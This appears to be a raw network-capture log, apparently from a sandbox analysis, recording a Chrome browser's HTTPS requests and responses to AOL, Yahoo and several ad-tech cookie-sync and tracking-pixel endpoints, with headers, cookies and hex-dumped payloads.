Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:19 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:19 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:19 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
799	192.168.2.6	50662	185.64.191.210	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	3012	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTMyOTcmdGw9MTI5NjAw&piggybackCookie=AANRF07Mn4kAABWNJQroRw&gdpr=0&gdpr_consent= HTTP/1.1 Host: image2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=BD0DE19C-09D4-4B62-A188-46A0D2E6C177; DPSync3=1717632000%3A219_197_201_245_241_227_226; KRTBCOOKIE_377=6810-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22918-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&22926-8369ae03-bf51-422b-a15c-33306b0e1dfe&KRTB&23031-8369ae03-bf51-422b-a15c-33306b0e1dfe; KRTBCOOKIE_57=22776-9165965397510453586&KRTB&23339-9165965397510453586; KRTBCOOKIE_153=19420-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9&KRTB&23462-JqKacnOglyE9pZx2JaKDJ3GmnSM9o5dyJfJK98f9; KRTBCOOKIE_80=22987-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23025-CAESEO5FZOJv3zXMMW5oDLBIMAE&KRTB&23386-CAESEO5FZOJv3zXMMW5oDLBIMAE; KRTBCOOKIE_860=16335-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23334-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23417-wDRi3Y1XWudtyec5KKvj7ggue68&KRTB&23426-wDRi3Y1XWudtyec5KKvj7ggue68; KRTBCOOKIE_1101=23040-7372327276449101969&KRTB&23369-7372327276449101969; KRTBCOOKIE_1323=23480-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23485-OPUa81a22b1334148ecb90f459b2fd358d9&KRTB&23575-OPUa81a22b1334148ecb90f459b2fd358d9; KRTB [TRUNCATED]
2024-05-23 22:35:19 UTC	587	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 23 May 2024 22:35:19 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_699=22727-AANRF07Mn4kAABWNJQroRw; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 21-Aug-2024 22:35:19 GMT; path=/ Set-Cookie: PugT=1716503719; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 22-Jun-2024 22:35:19 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-05-23 22:35:19 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
800	192.168.2.6	50663	172.64.151.101	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	912	OUT	GET /usermatchredir?s=208386&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1
2024-05-23 22:35:19 UTC	1304	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:19 GMT Content-Length: 0 Connection: close Location: /usermatchredir?cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&s=208386&C=1 CF-Ray: 888884b659d70f49-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zk-Ep0t3uYgAAFn1AP-2wgAA; Path=/; Domain=casalemedia.com; Expires=Fri, 23 May 2025 22:35:19 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPS=464; Path=/; Domain=casalemedia.com; Expires=Wed, 21 Aug 2024 22:35:19 GMT; Max-Age=7776000; Secure; SameSite=None Set-Cookie: CMPRO=464; Path=/; Domain=casalemedia.com; Expires=Wed, 21 Aug 2024 22:35:19 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EQjb%2Bw0H4dJbqrfxE5kq1cdwZ7jTr0yP4S2WcWOY8MGBbSf6BuHPbIkrr7QHpIB%2BQ7qXIR4pxURAbUB4zuuhL5yv7DxXFGijRasmu6kwDaSSqom2c1T%2BoSzKQXl9m0%2Fhxov7JoU1gh602w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
801	192.168.2.6	50671	74.119.117.16	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	847	OUT	GET /dis/usersync.aspx?r=44&p=75&cp=triplelift&cu=1&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=$%7BGPP_STRING_28%7D&gpp_sid=&url=https%3A%2F%2Feb2.3lift.com%2Fxuid%3Fmid%3D2711%26xuid%3D%40%40CRITEO_USERID%40%40%26dongle%3D013b HTTP/1.1 Host: widget.us.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac
2024-05-23 22:35:19 UTC	569	IN	HTTP/1.1 302 Found content-length: 0 date: Thu, 23 May 2024 22:35:19 GMT server: Kestrel cache-control: no-cache expires: Thu, 23 May 2024 00:00:00 GMT location: https://eb2.3lift.com/xuid?mid=2711&xuid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac&dongle=013b&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28} pragma: no-cache x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 879117 strict-transport-security: max-age=31536000; preload; connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
802	192.168.2.6	50661	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1915	OUT	GET /setuid?bidder=pubmatic&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=BD0DE19C-09D4-4B62-A188-46A0D2E6C177 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9LCJ5aWVsZG1 [TRUNCATED]
2024-05-23 22:35:19 UTC	1188	IN	HTTP/1.1 200 OK content-type: text/html set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicHVibWF0aWMiOnsidWlkIjoiQkQwREUxOUMtMDlENC00QjYyLUExODgtNDZBMEQyRTZDMTc3IiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTkuNjA0Nzc2NDU5WiJ9LCJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA2Ljg5MDMyMDEyOVoifSwic29ub2JpIjp7InVpZCI6IjNlNjk5MTVhLWFhODEtNDUzYy04YmU2LTYyMWFmNzE1MGY0MSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjEzLjU2Njg2NTg4OVoifSwidHRkIjp7InVpZCI6IjNlMDc3YmI0LWJmNGEtNGMxOS05MzNlLWM5OGRkZDg4MTQyZSIsImV4cGlyZXMiOiIyMDI0LTA2LTA2VDIyOjM1OjA0LjY5NTM4MDY5NFoifSwidW5ydWx5Ijp7InVpZCI6IlJYLTdjNjRmN2I0LTdhOTAtNDVlYi05MWFlLWFmNzZlNTIzZDk2My0wMDMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxNC44NTg4MDYzMjZaIn0sInlpZWxkbW8iOnsidWlkIjoiVkkzTTNZWUtLb1lTaEZqaThQOEMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxNy4wODE5MjEwMDhaIn19fQ==; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:19 GMT; HttpOnly; Secure; SameSite=N [TRUNCATED] vary: Origin content-length: 0 date: Thu, 23 May 2024 22:35:19 GMT x-envoy-upstream-service-time: 0 server: ATS
2024-05-23 22:35:19 UTC	408	IN	Data Raw: 78 2d 65 6e 76 6f 79 2d 64 65 63 6f 72 61 74 6f 72 2d 6f 70 65 72 61 74 69 6f 6e 3a 20 70 62 73 2d 2d 70 72 6f 64 75 63 74 69 6f 6e 2d 65 75 77 65 31 2e 6d 65 64 69 61 70 6c 61 74 66 6f 72 6d 2d 67 63 70 2d 70 72 6f 64 2d 6d 6f 6e 65 74 69 7a 61 74 69 6f 6e 2e 73 76 63 2e 63 6c 75 73 74 65 72 2e 6c 6f 63 61 6c 3a 34 30 38 30 2f 2a 0d 0a 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 41 67 65 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 Data Ascii: x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*Referrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000Expect-CT: max-age=315360

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
803	192.168.2.6	50667	52.72.151.87	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	752	OUT	GET /d/sync/cookie/generic?https://eb2.3lift.com/xuid?mid=3702&xuid=${ADELPHIC_CUID}&dongle=d54f&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cu=6a235f9e-9b26-4d12-95f6-f4919d5fecf1\|1716503696554
2024-05-23 22:35:19 UTC	489	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 23 May 2024 22:35:19 GMT Location: https://eb2.3lift.com/xuid?mid=3702&xuid=6a235f9e-9b26-4d12-95f6-f4919d5fecf1&dongle=d54f&gdpr=0&gdpr_consent= Set-Cookie: cu=6a235f9e-9b26-4d12-95f6-f4919d5fecf1\|1716503696554; Path=/; Domain=ipredictive.com; Expires=Fri, 23 May 2025 22:35:19 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: 7585a6f2-bc71-4483-9557-d0e5fb249518 Content-Length: 149 Connection: Close
2024-05-23 22:35:19 UTC	149	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 33 37 30 32 26 61 6d 70 3b 78 75 69 64 3d 36 61 32 33 35 66 39 65 2d 39 62 32 36 2d 34 64 31 32 2d 39 35 66 36 2d 66 34 39 31 39 64 35 66 65 63 66 31 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 64 35 34 66 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://eb2.3lift.com/xuid?mid=3702&xuid=6a235f9e-9b26-4d12-95f6-f4919d5fecf1&dongle=d54f&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
804	192.168.2.6	50658	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1836	OUT	POST /p?s=1197803361&t=TGW8VuLw9jFRylQW,0.620260887242432&_I=&_AO=0&_NOL=1&_R=&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04test%03aol-acookie-control%2Caol-aa-1%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03Fl1XNsPA7N12cgoJ%04_w%03www.aol.com%2F%04navtype%03server%04st_sec%03us.aolportal%04ver%03td-app-aol%04pl2%03amp-bon%04pt%03home%04p_sec%03AOL%04p_subsec%03homepage%04layout%03aolgrid%04pct%03aol%04site%03aol%04mrkt%03us%04lang%03en-US%04colo%03eu-west-1%04_yrid%0330rmpplj4vh3m%04_rid%0330rmpplj4vh3m%04abk%03%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03window.blur%04A_prets%031716503711%04A_prems%03499%04_E%03dwell%04_ts%031716503711%04_ms%03523%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031280x907%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:19 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:19 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:19 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
805	192.168.2.6	50669	64.74.236.127	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	669	OUT	GET /usersync/triplelift/?gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1 Host: b1sync.zemanta.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4
2024-05-23 22:35:19 UTC	602	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Content-Length: 115 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Thu, 01 Dec 1994 16:00:00 GMT Location: https://eb2.3lift.com/xuid?mid=2460&dongle=dba8&xuid=Ldu6nP-f8GRn9WiN8PL4&gdpr=0 P3p: CP="We do not support P3P header." Pragma: no-cache Set-Cookie: zuid=Ldu6nP-f8GRn9WiN8PL4; Path=/; Domain=zemanta.com; Expires=Fri, 23 May 2025 22:35:19 GMT; Max-Age=31536000; Secure; SameSite=None Date: Thu, 23 May 2024 22:35:19 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2024-05-23 22:35:19 UTC	115	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 62 32 2e 33 6c 69 66 74 2e 63 6f 6d 2f 78 75 69 64 3f 6d 69 64 3d 32 34 36 30 26 61 6d 70 3b 64 6f 6e 67 6c 65 3d 64 62 61 38 26 61 6d 70 3b 78 75 69 64 3d 4c 64 75 36 6e 50 2d 66 38 47 52 6e 39 57 69 4e 38 50 4c 34 26 61 6d 70 3b 67 64 70 72 3d 30 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://eb2.3lift.com/xuid?mid=2460&dongle=dba8&xuid=Ldu6nP-f8GRn9WiN8PL4&gdpr=0">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
806	192.168.2.6	50666	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1106	OUT	GET /prebid/setuid?bidder=triplelift_native&gdpr=0&gdpr_consent=&uid=3476490108663385185440 HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586; anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbP6j2F-.aDyjByG0>mcD53/l.RZ>LZqlI`sLCzK3/=q*JR:4=sB!$x_+7tgUd; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9
